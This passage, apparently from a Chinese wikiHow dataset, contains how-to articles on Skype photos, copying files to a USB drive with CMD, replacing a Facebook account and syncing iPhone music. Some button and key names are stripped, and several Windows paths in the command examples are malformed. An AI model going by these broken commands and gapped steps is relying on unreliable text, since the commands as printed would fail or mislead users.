\"打开Skype的应用程序。\", \"描述\": \"点选屏幕左上角你的图片，然后点选你的档案图片上方的相机图标。\"}, {\"编号\": 2, \"标题\": \"点击“拍照” 。\", \"描述\": \"在弹出的菜单中，你可以选择拍摄照片，使用现有照片，删除你的个人资料图片，或取消操作。点击“拍照”，打开你的移动设备的摄像头。\"}, {\"编号\": 3, \"标题\": \"调整自己。\", \"描述\": \"当你准备好拍照，点击屏幕上的摄像头图标。\"}, {\"编号\": 4, \"标题\": \"调整你的镜头。\", \"描述\": \"在中间方帧内点击和拖动来移动你的图片。捏住作放大或缩小。直到你满意，点击“使用”。新的配置图像就到位。\"}]}, {\"编号\": 5, \"标题\": \"在OS X和iOS上用Skype截图拍摄照片\", \"步骤\": [{\"编号\": 1, \"标题\": \"拍摄当前窗口的照片。\", \"描述\": \"用于Macintosh的Skype不给你谈话的对象拍照。如果你还是想拍照，用屏幕快照。按下并松开Shift - Command-4键，然后按空格键，来捕捉当前窗口。你的光标会变成一个相机图标，当你翻过窗口，一个淡蓝色的网罩将涵盖页面，表明窗口将被捕获，即使它大多隐藏在其他视窗后面。将光标定位在Skype窗口，然后左键单击来捕获窗口。照片将被保存在你的桌面上。\"}, {\"编号\": 2, \"标题\": \"拍摄一张屏幕的照片。\", \"描述\": \"与Macintosh相似，适用于iOS的Skype手机并没有为他人拍照做出规定。你可以做屏幕截图，这在任何iOS设备上是很容易做到的。按住睡眠/唤醒“按钮”，然后按下并松开Home键。你拍摄的画面会出现在你的“相机胶卷”。\"}]}]}}",
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14,728 | 如何使用命令提示符（CMD）把文件复制到优盘上 | 1. 步骤
1-1. 打开命令提示符。
如果你从没打开过，下面是访问Windows命令提示符的方法：
按以激活搜索栏。
在搜索栏中输入cmd。
如果要复制系统文件，那就右键点击，然后选择。
如果重启进入了恢复模式，那就不用这样操作了，因为这时候命令提示符会始终以管理员身份运行。
如果你要复制个人文件，比如自己的图片或文件，那就只用点击。
1-2. 找出优盘的盘符。
如果你已经知道分配给优盘的字母（例如，E或F），那就可以跳过这一步。如果没有，可以按照下面的方法来找到它：
在提示符后输入或粘贴这个命令：wmic logicaldisk where drivetype=2 get deviceid, volumename, description
按。
1-3. 在优盘上新建一个文件夹（可选）。
如果你想把文件复制到特定的文件夹中，而不是优盘的根目录，那么你可以在命令提示符中创建一个。方法如下：
输入cd F:（如果你的优盘盘符不是F:，那就替换成实际的盘符}}，然后按。
输入mkdir foldername，然后按（把替换成你想给新文件夹起的名字）。
1-4. 进入包含你要复制的文件的文件夹。
比如，如果你想复制自己“文档”文件夹里的内容，那就可以通过输入cd C:\Usersyourname\Documents来进入该文件夹。
如果文件夹的名称中有空格，比如C:\Usersyourname\rough drafts，那你就得把整个路径都放在引号中，就像这样：cd "C:Users\yourname\rough drafts。
要查看文件夹里的所有文件，那就输入dir，然后按。
输入dir，然后按就能看到现有的文件和文件夹。所有的文件夹都会标有''<DIR>''，便于你区分哪些是文件夹和文件。
1-5. 使用copy命令来复制单个文件。
如果你只想把一个文件（没有文件夹）复制到你的优盘上，使用copy命令是最简单的方法。具体方法如下：
在使用复制命令时，它的用法是这样的：copy 来源 目标。比方说，要从当前目录把一个名为cats.docx的文件复制到优盘上一个名为Pets的文件夹里，而优盘的盘符是F:，那你可以这样输入：
copy cats.docx F:\Pets\
如果你想把多个相同文件扩展名的单独文件（比如，.docx）一次性复制到优盘上的Pets文件夹，那就可以输入copy *.docx F:\Pets。
1-6. 使用xcopy来复制整个文件夹及其所有的文件和子文件夹。
如果你想把整个文件夹都备份到优盘上，或者需要复制多个文件，那么xcopy会更适合一些。比如，你想把整个文件夹C:\Users\yournamerough drafts连同里面的所有文件和文件夹都复制到F盘。那你可以输入：
xcopy "C:\Users\yourname\rough drafts\" F:\ /e /h /r
记得第一个路径末尾的反斜杠\——这样会告诉xcopy要复制一个文件夹，而不是一个单独的文件。
加上/e可告诉xcopy复制所有子文件夹。
加上/h可以确保xcopy同时复制隐藏文件。
加上/r还会包括所有只读文件。
| {
"create_time": "20230517 11:02:18",
"回答明细": "{\"回答\": \"1. 步骤\\n1-1. 打开命令提示符。\\n如果你从没打开过，下面是访问Windows命令提示符的方法：\\n按以激活搜索栏。\\n在搜索栏中输入cmd。\\n如果要复制系统文件，那就右键点击，然后选择。\\n如果重启进入了恢复模式，那就不用这样操作了，因为这时候命令提示符会始终以管理员身份运行。\\n如果你要复制个人文件，比如自己的图片或文件，那就只用点击。\\n1-2. 找出优盘的盘符。\\n如果你已经知道分配给优盘的字母（例如，E或F），那就可以跳过这一步。如果没有，可以按照下面的方法来找到它：\\n在提示符后输入或粘贴这个命令：wmic logicaldisk where drivetype=2 get deviceid, volumename, description\\n按。\\n1-3. 在优盘上新建一个文件夹（可选）。\\n如果你想把文件复制到特定的文件夹中，而不是优盘的根目录，那么你可以在命令提示符中创建一个。方法如下：\\n输入cd F:（如果你的优盘盘符不是F:，那就替换成实际的盘符}}，然后按。\\n输入mkdir foldername，然后按（把替换成你想给新文件夹起的名字）。\\n1-4. 进入包含你要复制的文件的文件夹。\\n比如，如果你想复制自己“文档”文件夹里的内容，那就可以通过输入cd C:\\\\Usersyourname\\\\Documents来进入该文件夹。\\n如果文件夹的名称中有空格，比如C:\\\\Usersyourname\\\\rough drafts，那你就得把整个路径都放在引号中，就像这样：cd \\\"C:Users\\\\yourname\\\\rough drafts。\\n要查看文件夹里的所有文件，那就输入dir，然后按。\\n输入dir，然后按就能看到现有的文件和文件夹。所有的文件夹都会标有''<DIR>''，便于你区分哪些是文件夹和文件。\\n1-5. 使用copy命令来复制单个文件。\\n如果你只想把一个文件（没有文件夹）复制到你的优盘上，使用copy命令是最简单的方法。具体方法如下：\\n在使用复制命令时，它的用法是这样的：copy 来源 目标。比方说，要从当前目录把一个名为cats.docx的文件复制到优盘上一个名为Pets的文件夹里，而优盘的盘符是F:，那你可以这样输入：\\ncopy cats.docx F:\\\\Pets\\\\\\n如果你想把多个相同文件扩展名的单独文件（比如，.docx）一次性复制到优盘上的Pets文件夹，那就可以输入copy *.docx F:\\\\Pets。\\n1-6. 使用xcopy来复制整个文件夹及其所有的文件和子文件夹。\\n如果你想把整个文件夹都备份到优盘上，或者需要复制多个文件，那么xcopy会更适合一些。比如，你想把整个文件夹C:\\\\Users\\\\yournamerough drafts连同里面的所有文件和文件夹都复制到F盘。那你可以输入：\\nxcopy \\\"C:\\\\Users\\\\yourname\\\\rough drafts\\\\\\\" F:\\\\ /e /h /r\\n记得第一个路径末尾的反斜杠\\\\——这样会告诉xcopy要复制一个文件夹，而不是一个单独的文件。\\n加上/e可告诉xcopy复制所有子文件夹。\\n加上/h可以确保xcopy同时复制隐藏文件。\\n加上/r还会包括所有只读文件。\\n\", \"简要回答\": \"无论是无法启动Windows，还是想学习管理文件的新方法，你都可以使用命令提示符把数据从硬盘复制到优盘。如果只是要复制单个文件，你可以使用copy命令。但要是你想复制整个文件夹，包括里面的任何子文件夹和文件，那么xcopy命令是一个更好的选择。这篇文章将教你如何在Windows命令提示符下使用copy和xcopy来复制文件和文件夹。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"步骤\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开命令提示符。\", \"描述\": \"如果你从没打开过，下面是访问Windows命令提示符的方法：\\n按以激活搜索栏。\\n在搜索栏中输入cmd。\\n如果要复制系统文件，那就右键点击，然后选择。\\n如果重启进入了恢复模式，那就不用这样操作了，因为这时候命令提示符会始终以管理员身份运行。\\n如果你要复制个人文件，比如自己的图片或文件，那就只用点击。\"}, {\"编号\": 2, \"标题\": \"找出优盘的盘符。\", \"描述\": \"如果你已经知道分配给优盘的字母（例如，E或F），那就可以跳过这一步。如果没有，可以按照下面的方法来找到它：\\n在提示符后输入或粘贴这个命令：wmic logicaldisk where drivetype=2 get deviceid, volumename, description\\n按。\"}, {\"编号\": 3, \"标题\": \"在优盘上新建一个文件夹（可选）。\", \"描述\": \"如果你想把文件复制到特定的文件夹中，而不是优盘的根目录，那么你可以在命令提示符中创建一个。方法如下：\\n输入cd F:（如果你的优盘盘符不是F:，那就替换成实际的盘符}}，然后按。\\n输入mkdir foldername，然后按（把替换成你想给新文件夹起的名字）。\"}, {\"编号\": 4, \"标题\": \"进入包含你要复制的文件的文件夹。\", \"描述\": \"比如，如果你想复制自己“文档”文件夹里的内容，那就可以通过输入cd C:\\\\Usersyourname\\\\Documents来进入该文件夹。\\n如果文件夹的名称中有空格，比如C:\\\\Usersyourname\\\\rough drafts，那你就得把整个路径都放在引号中，就像这样：cd \\\"C:Users\\\\yourname\\\\rough drafts。\\n要查看文件夹里的所有文件，那就输入dir，然后按。\\n输入dir，然后按就能看到现有的文件和文件夹。所有的文件夹都会标有''<DIR>''，便于你区分哪些是文件夹和文件。\"}, {\"编号\": 5, \"标题\": \"使用copy命令来复制单个文件。\", \"描述\": \"如果你只想把一个文件（没有文件夹）复制到你的优盘上，使用copy命令是最简单的方法。具体方法如下：\\n在使用复制命令时，它的用法是这样的：copy 来源 目标。比方说，要从当前目录把一个名为cats.docx的文件复制到优盘上一个名为Pets的文件夹里，而优盘的盘符是F:，那你可以这样输入：\\ncopy cats.docx F:\\\\Pets\\\\\\n如果你想把多个相同文件扩展名的单独文件（比如，.docx）一次性复制到优盘上的Pets文件夹，那就可以输入copy *.docx F:\\\\Pets。\"}, {\"编号\": 6, \"标题\": \"使用xcopy来复制整个文件夹及其所有的文件和子文件夹。\", \"描述\": \"如果你想把整个文件夹都备份到优盘上，或者需要复制多个文件，那么xcopy会更适合一些。比如，你想把整个文件夹C:\\\\Users\\\\yournamerough drafts连同里面的所有文件和文件夹都复制到F盘。那你可以输入：\\nxcopy \\\"C:\\\\Users\\\\yourname\\\\rough drafts\\\\\\\" F:\\\\ /e /h /r\\n记得第一个路径末尾的反斜杠\\\\——这样会告诉xcopy要复制一个文件夹，而不是一个单独的文件。\\n加上/e可告诉xcopy复制所有子文件夹。\\n加上/h可以确保xcopy同时复制隐藏文件。\\n加上/r还会包括所有只读文件。\"}]}]}}",
"问题明细": "",
"扩展字段": ""
} | wikihow |
14,729 | 如何创建一个新的Facebook账户 | 1. 创建新账户
1-1. 如果你已经有一个正在使用的账户，那么你需要在创建新账户前删除它。
在进行以下操作之前，请查阅。或者，继续进行下一步。
1-2. 前往Facebook网站
。如果你正在使用现有账户，请先登出你的账户。
你将看到这样的注册表格：
填写所有信息，确保填入的信息都是正确无误的。然后点击注册按钮。
1-3. 查找你的好友。
接下来，Facebook会询问你是否搜索查找你的好友。也许此刻你很乐于查找你的好友，那么你可以搜索各位好友。你也可以点击底部的“跳过此步”，继续完成注册操作。
1-4. 填写用户资料信息。
注册账户的第二步就是填写你的基本资料：高中学校、大学和任职的公司。同样，你可以选择填写资料，也可以跳过此步。
1-5. 上传头像。
接下来，是你亮相的时刻了！你可以从计算机中上传你的一张照片，也可以使用网络照相机进行拍照。无论你怎么做，Facebook都将接受你上传的头像。当然，像其他步骤一样，你也可以跳过此步。
1-6. 你的新账户准备就绪了！记住—不要忘记粉我们啦！
2. 关闭旧账户
2-1. 下载你的信息。
获取所有信息的副本文件—包括你的用户资料信息、好友列表和相册图片等等。及时备份你的信息数据总不是一件坏事。具体操作是：
在任何Facebook页面上点击右上方的账户菜单图标（白色三角形）。
选择。
点击 来保存你的Facebook数据。
点击。
备份过程需要花费一段时间，尤其是你的Facebook上有很多照片等数据时。
2-2. 清空你现在的账户。
当你完成数据备份和存档后，清空所有不必需的信息字段，然后删除它们。对于必需填写的栏目，使用伪造的、无意义或非常常用的字段来填充。
如果你想要在新建的账户中重新使用你的手机号码和电子邮箱信息，你需要先将旧账户中的对应信息更改为无实意的伪造信息。Facebook不允许多个账户使用相同的信息。
2-3. 创建临时的电子邮箱账户。
为了删除你之前的电子邮箱账户信息，你必须先创建一个新的—这是因为Facebook会验证你提供的电子邮箱地址，所以你无法随意编造一个。
新建一个浏览器标签页（在Windows电脑上按下Control键和T键，在Mac电脑上按下Command键和T键）。
前往免费的电子邮箱服务网站，如谷歌或雅虎。
创建新账户。它可以是你在一段时间内正常使用的真实的电子邮箱账户，也可以是一次性使用后丢弃的临时账户。使用备用电子邮箱账户的好处是可以用它应对所有发送垃圾邮件的网站—你永远也不用查看它，这里面的垃圾邮件就只是垃圾邮件，不会打扰你。
2-4. 向Facebook添加新的电子邮箱账户。
在你即将删除的Facebook账户中，前往，编辑电子邮箱设置，然后点击。
输入新的电子邮箱地址和你的密码，然后点击。
你会在新的电子邮箱中收到一封确认邮件。确保你能收到新邮件。然后返回到Facebook账户设置页面，此时，你可以将新的电子邮箱作为主邮箱了。
点击新的电子邮箱地址旁边的按钮，输入你的密码，并点击。这会关闭电子邮箱编辑窗口。当你再次打开它时，会发现新的电子邮箱地址位于最上方，成为主邮箱。而你之前使用的真实电子邮箱地址旁边，则有字样。点击它，这样删除你的邮箱信息了。
2-5. 创建新账户。
查看上一部分—，按照其中的步骤进行操作。
2-6. 转移所有权和管理权。
你可能是一个或多个群组和页面的管理员。在你删除旧账户前，同样设置好新账户的管理权限。
从Facebook时间轴的左侧边栏，点击你管理的群组或页面。它会在中被打开。
从菜单，选择。
将你的新账户添加为管理员。
小提示
对于你的Facebook资料来说，你应该做的第一件事就是调整你的隐私设置。这可以让你能够控制帖子的可见范围。
如果你是因为他人对你的不恰当行为，从而删除旧账户并重新来过的话，你一定要严格设置你的隐私，至少刚开始的时候要这样。
最好调整你的账户设置，以免陌生人获取你的资料。在页面右上角和右下角，你可以找到隐私设置。
警告
不要泄露手机号和个人信息。
不要加陌生人为好友。他可能图谋不轨。
不要发布你会后悔的照片。任何人都可以保存然后分享给你不喜欢或你不认识的人。
填写个人信息时要小心，即使是发给你的朋友。
不要和Facebook上的人会面，这可能会不安全。
| {
"create_time": "20230517 11:02:18",
"回答明细": "{\"回答\": \"1. 创建新账户\\n1-1. 如果你已经有一个正在使用的账户，那么你需要在创建新账户前删除它。\\n在进行以下操作之前，请查阅。或者，继续进行下一步。\\n1-2. 前往Facebook网站\\n。如果你正在使用现有账户，请先登出你的账户。\\n你将看到这样的注册表格：\\n填写所有信息，确保填入的信息都是正确无误的。然后点击注册按钮。\\n1-3. 查找你的好友。\\n接下来，Facebook会询问你是否搜索查找你的好友。也许此刻你很乐于查找你的好友，那么你可以搜索各位好友。你也可以点击底部的“跳过此步”，继续完成注册操作。\\n1-4. 填写用户资料信息。\\n注册账户的第二步就是填写你的基本资料：高中学校、大学和任职的公司。同样，你可以选择填写资料，也可以跳过此步。\\n1-5. 上传头像。\\n接下来，是你亮相的时刻了！你可以从计算机中上传你的一张照片，也可以使用网络照相机进行拍照。无论你怎么做，Facebook都将接受你上传的头像。当然，像其他步骤一样，你也可以跳过此步。\\n1-6. 你的新账户准备就绪了！记住—不要忘记粉我们啦！\\n\\n\\n2. 关闭旧账户\\n2-1. 下载你的信息。\\n获取所有信息的副本文件—包括你的用户资料信息、好友列表和相册图片等等。及时备份你的信息数据总不是一件坏事。具体操作是：\\n在任何Facebook页面上点击右上方的账户菜单图标（白色三角形）。\\n选择。\\n点击 来保存你的Facebook数据。\\n点击。\\n备份过程需要花费一段时间，尤其是你的Facebook上有很多照片等数据时。\\n2-2. 清空你现在的账户。\\n当你完成数据备份和存档后，清空所有不必需的信息字段，然后删除它们。对于必需填写的栏目，使用伪造的、无意义或非常常用的字段来填充。\\n如果你想要在新建的账户中重新使用你的手机号码和电子邮箱信息，你需要先将旧账户中的对应信息更改为无实意的伪造信息。Facebook不允许多个账户使用相同的信息。\\n2-3. 创建临时的电子邮箱账户。\\n为了删除你之前的电子邮箱账户信息，你必须先创建一个新的—这是因为Facebook会验证你提供的电子邮箱地址，所以你无法随意编造一个。\\n新建一个浏览器标签页（在Windows电脑上按下Control键和T键，在Mac电脑上按下Command键和T键）。\\n前往免费的电子邮箱服务网站，如谷歌或雅虎。\\n创建新账户。它可以是你在一段时间内正常使用的真实的电子邮箱账户，也可以是一次性使用后丢弃的临时账户。使用备用电子邮箱账户的好处是可以用它应对所有发送垃圾邮件的网站—你永远也不用查看它，这里面的垃圾邮件就只是垃圾邮件，不会打扰你。\\n2-4. 向Facebook添加新的电子邮箱账户。\\n在你即将删除的Facebook账户中，前往，编辑电子邮箱设置，然后点击。\\n输入新的电子邮箱地址和你的密码，然后点击。\\n你会在新的电子邮箱中收到一封确认邮件。确保你能收到新邮件。然后返回到Facebook账户设置页面，此时，你可以将新的电子邮箱作为主邮箱了。\\n点击新的电子邮箱地址旁边的按钮，输入你的密码，并点击。这会关闭电子邮箱编辑窗口。当你再次打开它时，会发现新的电子邮箱地址位于最上方，成为主邮箱。而你之前使用的真实电子邮箱地址旁边，则有字样。点击它，这样删除你的邮箱信息了。\\n2-5. 创建新账户。\\n查看上一部分—，按照其中的步骤进行操作。\\n2-6. 转移所有权和管理权。\\n你可能是一个或多个群组和页面的管理员。在你删除旧账户前，同样设置好新账户的管理权限。\\n从Facebook时间轴的左侧边栏，点击你管理的群组或页面。它会在中被打开。\\n从菜单，选择。\\n将你的新账户添加为管理员。\\n小提示\\n对于你的Facebook资料来说，你应该做的第一件事就是调整你的隐私设置。这可以让你能够控制帖子的可见范围。\\n如果你是因为他人对你的不恰当行为，从而删除旧账户并重新来过的话，你一定要严格设置你的隐私，至少刚开始的时候要这样。\\n最好调整你的账户设置，以免陌生人获取你的资料。在页面右上角和右下角，你可以找到隐私设置。\\n警告\\n不要泄露手机号和个人信息。\\n不要加陌生人为好友。他可能图谋不轨。\\n不要发布你会后悔的照片。任何人都可以保存然后分享给你不喜欢或你不认识的人。\\n填写个人信息时要小心，即使是发给你的朋友。\\n不要和Facebook上的人会面，这可能会不安全。\\n\", \"简要回答\": \"在现实生活中，你无法将所有往事恩怨一笔勾销，然后重新来过。但是在Facebook中当然可以这样。有时候，比起不断摆弄设置那些隐私设置、删除现有账户上的好友列表，直接创建一个新账户往往更简单方便。本文将介绍如何创建一个新的Facebook账户，以及如何关闭丢弃旧账户。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"创建新账户\", \"步骤\": [{\"编号\": 1, \"标题\": \"如果你已经有一个正在使用的账户，那么你需要在创建新账户前删除它。\", \"描述\": \"在进行以下操作之前，请查阅。或者，继续进行下一步。\"}, {\"编号\": 2, \"标题\": \"前往Facebook网站\", \"描述\": \"。如果你正在使用现有账户，请先登出你的账户。\\n你将看到这样的注册表格：\\n填写所有信息，确保填入的信息都是正确无误的。然后点击注册按钮。\"}, {\"编号\": 3, \"标题\": \"查找你的好友。\", \"描述\": \"接下来，Facebook会询问你是否搜索查找你的好友。也许此刻你很乐于查找你的好友，那么你可以搜索各位好友。你也可以点击底部的“跳过此步”，继续完成注册操作。\"}, {\"编号\": 4, \"标题\": \"填写用户资料信息。\", \"描述\": \"注册账户的第二步就是填写你的基本资料：高中学校、大学和任职的公司。同样，你可以选择填写资料，也可以跳过此步。\"}, {\"编号\": 5, \"标题\": \"上传头像。\", \"描述\": \"接下来，是你亮相的时刻了！你可以从计算机中上传你的一张照片，也可以使用网络照相机进行拍照。无论你怎么做，Facebook都将接受你上传的头像。当然，像其他步骤一样，你也可以跳过此步。\"}, {\"编号\": 6, \"标题\": \"你的新账户准备就绪了！记住—不要忘记粉我们啦！\", \"描述\": \"\"}]}, {\"编号\": 2, \"标题\": \"关闭旧账户\", \"步骤\": [{\"编号\": 1, \"标题\": \"下载你的信息。\", \"描述\": \"获取所有信息的副本文件—包括你的用户资料信息、好友列表和相册图片等等。及时备份你的信息数据总不是一件坏事。具体操作是：\\n在任何Facebook页面上点击右上方的账户菜单图标（白色三角形）。\\n选择。\\n点击 来保存你的Facebook数据。\\n点击。\\n备份过程需要花费一段时间，尤其是你的Facebook上有很多照片等数据时。\"}, {\"编号\": 2, \"标题\": \"清空你现在的账户。\", \"描述\": \"当你完成数据备份和存档后，清空所有不必需的信息字段，然后删除它们。对于必需填写的栏目，使用伪造的、无意义或非常常用的字段来填充。\\n如果你想要在新建的账户中重新使用你的手机号码和电子邮箱信息，你需要先将旧账户中的对应信息更改为无实意的伪造信息。Facebook不允许多个账户使用相同的信息。\"}, {\"编号\": 3, \"标题\": \"创建临时的电子邮箱账户。\", \"描述\": \"为了删除你之前的电子邮箱账户信息，你必须先创建一个新的—这是因为Facebook会验证你提供的电子邮箱地址，所以你无法随意编造一个。\\n新建一个浏览器标签页（在Windows电脑上按下Control键和T键，在Mac电脑上按下Command键和T键）。\\n前往免费的电子邮箱服务网站，如谷歌或雅虎。\\n创建新账户。它可以是你在一段时间内正常使用的真实的电子邮箱账户，也可以是一次性使用后丢弃的临时账户。使用备用电子邮箱账户的好处是可以用它应对所有发送垃圾邮件的网站—你永远也不用查看它，这里面的垃圾邮件就只是垃圾邮件，不会打扰你。\"}, {\"编号\": 4, \"标题\": \"向Facebook添加新的电子邮箱账户。\", \"描述\": \"在你即将删除的Facebook账户中，前往，编辑电子邮箱设置，然后点击。\\n输入新的电子邮箱地址和你的密码，然后点击。\\n你会在新的电子邮箱中收到一封确认邮件。确保你能收到新邮件。然后返回到Facebook账户设置页面，此时，你可以将新的电子邮箱作为主邮箱了。\\n点击新的电子邮箱地址旁边的按钮，输入你的密码，并点击。这会关闭电子邮箱编辑窗口。当你再次打开它时，会发现新的电子邮箱地址位于最上方，成为主邮箱。而你之前使用的真实电子邮箱地址旁边，则有字样。点击它，这样删除你的邮箱信息了。\"}, {\"编号\": 5, \"标题\": \"创建新账户。\", \"描述\": \"查看上一部分—，按照其中的步骤进行操作。\"}, {\"编号\": 6, \"标题\": \"转移所有权和管理权。\", \"描述\": \"你可能是一个或多个群组和页面的管理员。在你删除旧账户前，同样设置好新账户的管理权限。\\n从Facebook时间轴的左侧边栏，点击你管理的群组或页面。它会在中被打开。\\n从菜单，选择。\\n将你的新账户添加为管理员。\"}], \"小提示\": [\"对于你的Facebook资料来说，你应该做的第一件事就是调整你的隐私设置。这可以让你能够控制帖子的可见范围。\\n\", \"如果你是因为他人对你的不恰当行为，从而删除旧账户并重新来过的话，你一定要严格设置你的隐私，至少刚开始的时候要这样。\\n\", \"最好调整你的账户设置，以免陌生人获取你的资料。在页面右上角和右下角，你可以找到隐私设置。\\n\"], \"注意事项\": [\"不要泄露手机号和个人信息。\\n\", \"不要加陌生人为好友。他可能图谋不轨。\\n\", \"不要发布你会后悔的照片。任何人都可以保存然后分享给你不喜欢或你不认识的人。\\n\", \"填写个人信息时要小心，即使是发给你的朋友。\\n\", \"不要和Facebook上的人会面，这可能会不安全。\\n\"]}]}}",
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} | wikihow |
14,730 | 如何将音乐同步到iPhone | 1. 准备您的电子设备
1-1. 请确保您的电脑有USB 2 .0接口和iTunes的最新版本。
如果您没有iTunes的最新版本，在计算机上运行的软件更新检查并按照说明下载安装。
您也可以访问苹果网站和“ iTunes的”标签下点击“立即下载”按钮。下载iTunes 最新版本。
1-2. 请确保您Mac上运行Mac OS X 10.6或更高版本。
如果您有一台PC ，请确保您运行的是Windows 7 ， Windows Vista或Windows XP带有Service Pack 3的家庭版或专业版或更高版本。
在继续之前先了解如何更新升级Mac的系统软件和更新更新视窗 。
2. 连接您的iPhone
2-1. 连接iPhone之前打开电脑上的iTunes ，以避免识别问题。
2-2. 将USB线插入内置于计算机上的端口。
请确保您不要使用键盘上的USB端口或外接式USB集线器的USB端口，而不是计算机。
确保没有其他的USB设备占用任何其他端口。
2-3. 用USB连接线将iPod连接到上。
请确保您使用iPhone附带您苹果基座连接器至USB端口的电缆。
如果电脑上正面和背面都有USB端口，连接到电脑背面的端口。
连接后如果iTunes无法识别您的iPhone，关闭iTunes并重新打开。
如果仍然无法识别您的iPhone ，重新启动计算机，然后重新开始。
3. 同步整个音乐库
3-1. 选择您的iPhone 。
根据您的iTunes版本，iPod要么设在“设备” 下的左侧菜单或在iTunes窗口的右上角。
3-2. 选择iPhone的管理屏幕上的“音乐”选项卡。
“音乐”选项卡位于“摘要”选项卡的最近左侧。
如果运行最新的iTunes 11版本，首先访问iPhone管理屏幕的“摘要”页和单击“选项”中的“此iPhone连接时自动同步”框。
请注意，同步整个音乐库将删除在iPhone “音乐”应用程序中的内容，并由iTunes资料库中的同步的内容替换。
3-3. 找到“同步音乐”方框，单击它，这样会出现一个蓝色的复选标记。
同样，这个方框位于iPhone管理屏幕的“音乐”选项卡。看看 “同步音乐” 下面的选项，并选择适合您用途的功能。
要同步整个音乐库，选择“所有歌曲和播放列表”。
若要同步个人播放列表，选择“所选播放列表”选项，并选择您想要同步的播放列表。
3-4. 单击右下角同步选项框下面的“应用”。
iTunes会自动同步您的iPhone 。从现在开始每次您的iPhone连接到电脑时，iTunes会自动同步所有新的音乐到您的iPhone 。如果它不自动同步，浏览到iPhone的“摘要”页，然后单击屏幕右下角的“同步”。
3-5. 等iPod完成同步，然后断开连接。
请务必在断开基座前，点击位于iPhone名称右侧的弹出箭头，断开在iTunes中的iPhone 。
4. 同步播放列表
4-1. 在iTunes中创建一个新的播放列表。
使用播放列表系统的好处是，您可以手动管理iPhone上的歌曲和监控屏幕底部的存储容量，以免超出iPhone的允许容量。您可以选择屏幕顶部文件选项卡中的“新建播放列表”，或单击iTunes左下角的加号。
4-2. 适当命名播放列表如“ iPhone音乐。
”这将让您记住，这个播放列表是专为传送音乐到iPhone 的。
4-3. 从您的音乐库拖放音乐到新的播放列表。
您总是可以很容易地从播放列表中删除歌曲而不要从您的iTunes资料库中删除它们。
4-4. 在iTunes中选择iPhone管理屏幕上的“音乐”选项卡。
确保“同步音乐”复选框被选中，然后看看下面的选项。
如果运行最新的iTunes 11版本，首先访问iPhone管理屏幕的“摘要”页和单击说，在“选项”中的“手动管理音乐和视频”框。
4-5. 选择“音乐”选项卡中的“所选播放列表”选项。
检选您想要同步的播放列表的方框。
4-6. 点击位于“音乐”标签左下角的“应用” 。
您的iPhone应该会自动开始同步。
4-7. 如果没有启动同步，回到iPhone管理页面中的“摘要”选项卡。
点击屏幕左下角的“同步”。您的iPhone将更新和播放列表将传送到您的手机。
4-8. 等iPhone彻底完成同步再弹出。
小提示
如果您想手动添加音乐到iPhone ，您可以从iTunes资料库中拖动歌曲到iTunesi侧栏的Phone图标。
如果您想使用所有iPhone的储存空间装音乐，选中iTunes音乐页面上用歌曲自动填充可用空间旁边的方框。
警告
音乐可以占用iPhone很多空间，观看iTunes界面底部的图形，确保您有足够的空间。
| {
"create_time": "20230517 11:02:18",
"回答明细": "{\"回答\": \"1. 准备您的电子设备\\n1-1. 请确保您的电脑有USB 2 .0接口和iTunes的最新版本。\\n如果您没有iTunes的最新版本，在计算机上运行的软件更新检查并按照说明下载安装。\\n您也可以访问苹果网站和“ iTunes的”标签下点击“立即下载”按钮。下载iTunes 最新版本。\\n1-2. 请确保您Mac上运行Mac OS X 10.6或更高版本。\\n如果您有一台PC ，请确保您运行的是Windows 7 ， Windows Vista或Windows XP带有Service Pack 3的家庭版或专业版或更高版本。\\n在继续之前先了解如何更新升级Mac的系统软件和更新更新视窗 。\\n2. 连接您的iPhone\\n2-1. 连接iPhone之前打开电脑上的iTunes ，以避免识别问题。\\n\\n2-2. 将USB线插入内置于计算机上的端口。\\n请确保您不要使用键盘上的USB端口或外接式USB集线器的USB端口，而不是计算机。\\n确保没有其他的USB设备占用任何其他端口。\\n2-3. 用USB连接线将iPod连接到上。\\n请确保您使用iPhone附带您苹果基座连接器至USB端口的电缆。\\n如果电脑上正面和背面都有USB端口，连接到电脑背面的端口。\\n连接后如果iTunes无法识别您的iPhone，关闭iTunes并重新打开。\\n如果仍然无法识别您的iPhone ，重新启动计算机，然后重新开始。\\n3. 同步整个音乐库\\n3-1. 选择您的iPhone 。\\n根据您的iTunes版本，iPod要么设在“设备” 下的左侧菜单或在iTunes窗口的右上角。\\n3-2. 选择iPhone的管理屏幕上的“音乐”选项卡。\\n“音乐”选项卡位于“摘要”选项卡的最近左侧。\\n如果运行最新的iTunes 11版本，首先访问iPhone管理屏幕的“摘要”页和单击“选项”中的“此iPhone连接时自动同步”框。\\n请注意，同步整个音乐库将删除在iPhone “音乐”应用程序中的内容，并由iTunes资料库中的同步的内容替换。\\n3-3. 找到“同步音乐”方框，单击它，这样会出现一个蓝色的复选标记。\\n同样，这个方框位于iPhone管理屏幕的“音乐”选项卡。看看 “同步音乐” 下面的选项，并选择适合您用途的功能。\\n要同步整个音乐库，选择“所有歌曲和播放列表”。\\n若要同步个人播放列表，选择“所选播放列表”选项，并选择您想要同步的播放列表。\\n3-4. 单击右下角同步选项框下面的“应用”。\\niTunes会自动同步您的iPhone 。从现在开始每次您的iPhone连接到电脑时，iTunes会自动同步所有新的音乐到您的iPhone 。如果它不自动同步，浏览到iPhone的“摘要”页，然后单击屏幕右下角的“同步”。\\n3-5. 等iPod完成同步，然后断开连接。\\n请务必在断开基座前，点击位于iPhone名称右侧的弹出箭头，断开在iTunes中的iPhone 。\\n4. 同步播放列表\\n4-1. 在iTunes中创建一个新的播放列表。\\n使用播放列表系统的好处是，您可以手动管理iPhone上的歌曲和监控屏幕底部的存储容量，以免超出iPhone的允许容量。您可以选择屏幕顶部文件选项卡中的“新建播放列表”，或单击iTunes左下角的加号。\\n4-2. 适当命名播放列表如“ iPhone音乐。\\n”这将让您记住，这个播放列表是专为传送音乐到iPhone 的。\\n4-3. 从您的音乐库拖放音乐到新的播放列表。\\n您总是可以很容易地从播放列表中删除歌曲而不要从您的iTunes资料库中删除它们。\\n4-4. 在iTunes中选择iPhone管理屏幕上的“音乐”选项卡。\\n确保“同步音乐”复选框被选中，然后看看下面的选项。\\n如果运行最新的iTunes 11版本，首先访问iPhone管理屏幕的“摘要”页和单击说，在“选项”中的“手动管理音乐和视频”框。\\n4-5. 